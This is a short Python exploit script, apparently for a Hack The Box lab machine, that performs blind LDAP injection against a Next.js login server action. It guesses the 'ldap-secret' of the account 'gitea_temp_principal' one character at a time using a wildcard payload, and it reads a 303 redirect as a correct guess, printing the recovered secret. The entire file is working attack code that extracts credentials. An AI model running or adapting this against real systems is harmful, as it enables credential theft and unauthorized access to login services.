import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import string

base_url = 'http://intranet.ghost.htb:8008'

d = string.printable.replace('*', '')
s = ''

if __name__ == '__main__':
    while True:
        for c in d:
            payload = s + c + '*'
            multipart_data = MultipartEncoder(fields={
                '1_$ACTION_REF_1': '',
                '1_$ACTION_1:0': '{"id":"c471eb076ccac91d6f828b671795550fd5925940","bound":"$@1"}',
                '1_$ACTION_1:1': '[{}]',
                '1_$ACTION_KEY': 'k2982904007',
                '1_ldap-username': 'gitea_temp_principal',
                '1_ldap-secret': payload,
                '0': '[{},"$K1"]'
            })
            headers = {
                'Content-Type': multipart_data.content_type,
                'Next-Router-State-Tree': r'%5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D',
                'Next-Action': 'c471eb076ccac91d6f828b671795550fd5925940'
            }
            proxies = {
                'http': 'http://127.0.0.1:8080'
            }
            r = requests.post(f'{base_url}/login', data=multipart_data, headers=headers, allow_redirects=False)
            if r.status_code == 303:
                s += c
                print(s)
                break
        else:
            print('Done')
            break